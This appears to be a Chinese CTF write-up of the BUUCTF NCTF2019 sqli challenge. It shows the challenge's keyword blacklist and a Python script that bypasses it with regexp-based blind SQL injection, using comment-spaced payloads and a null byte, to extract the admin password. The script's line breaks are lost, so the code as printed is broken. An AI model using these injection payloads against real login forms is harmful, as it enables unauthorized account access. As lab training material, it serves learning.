当前位置: 首页 > news >正文

55.【5】BUUCTF WEB NCTF2019 sqli

84a7123a1d9d4457a08e2ac629899a59.jpeg

进入靶场

ab709a96da1a4261b40487f4493d43fa.png

db5118865f3f40f3b3a3d68628670d70.png

3c1f518c629344d89d979b29c0f5950a.png

输入admin 123

ad169294aadf442e9c81bc832329e010.png

05830aac7e6c47499dc7ff999e8da65f.png

过滤的这么严格???

08e6a2ad75ee4aef85dbe03e84266f74.png

0fef2b62ac5d4a62878809b5047b4cbb.png

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

a88cfa3274224cc3a873c55e8871f40d.png

访问后又得到hint.txt

继续访问

3753893fcdf6475682ff8be3c71f196c.png

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

import requests
from urllib import parse
import stringurl = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):if num == 1 :breakfor j in string:data = {"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))}print(result+j)res = requests.post(url=url,data=data)if 'welcome' in res.text:result += jbreakif j=='_' and 'welcome' not in res.text:break

 

709d34974d6e426e8aadc52642e1c7e9.png

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

69d62d0c8147479cb3bd4571b5d47df0.png

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

 

 

 

http://www.lryc.cn/news/523557.html

相关文章:

  • LeetCode 题目 2545. 根据第 K 场考试的分数排序
  • 算法随笔_12:最短无序子数组
  • 计算机毕业设计PySpark+Hadoop+Hive机票预测 飞机票航班数据分析可视化大屏 航班预测系统 机票爬虫 飞机票推荐系统 大数据毕业设计
  • Linux-C/C++--初探linux应用编程概念
  • 用sklearn运行分类模型,选择AUC最高的模型保存模型权重并绘制AUCROC曲线(以逻辑回归、随机森林、梯度提升、MLP为例)
  • 动手学大数据-3社区开源实践
  • 使用Pydantic驾驭大模型
  • 【HarmonyOS之旅】基于ArkTS开发(二) -> UI开发之常见布局
  • 【论文投稿】Python 网络爬虫:探秘网页数据抓取的奇妙世界
  • 队列的基本用法
  • 网络安全VS数据安全
  • Linux(NFS服务)
  • python编程-OpenCV(图像读写-图像处理-图像滤波-角点检测-边缘检测)边缘检测
  • SSM课设-学生管理系统
  • 【Pytorch实用教程】TCN(Temporal Convolutional Network,时序卷积网络)简介
  • 网络安全 | 什么是正向代理和反向代理?
  • 3 前端(中):JavaScript
  • VIT论文阅读与理解
  • JavaScript笔记APIs篇01——DOM获取与属性操作
  • SQL表间关联查询详解
  • select函数
  • 建造者模式(或者称为生成器(构建器)模式)
  • 【深度学习】Huber Loss详解
  • A5.Springboot-LLama3.2服务自动化构建(二)——Jenkins流水线构建配置初始化设置
  • 李宏毅机器学习HW1: COVID-19 Cases Prediction
  • MySQL下载安装DataGrip可视化工具
  • 多平台下Informatica在医疗数据抽取中的应用
  • 用公网服务器实现内网穿透
  • 为什么mysql更改表结构时,varchar超过255会锁表
  • ASP.NET Core中 JWT 实现无感刷新Token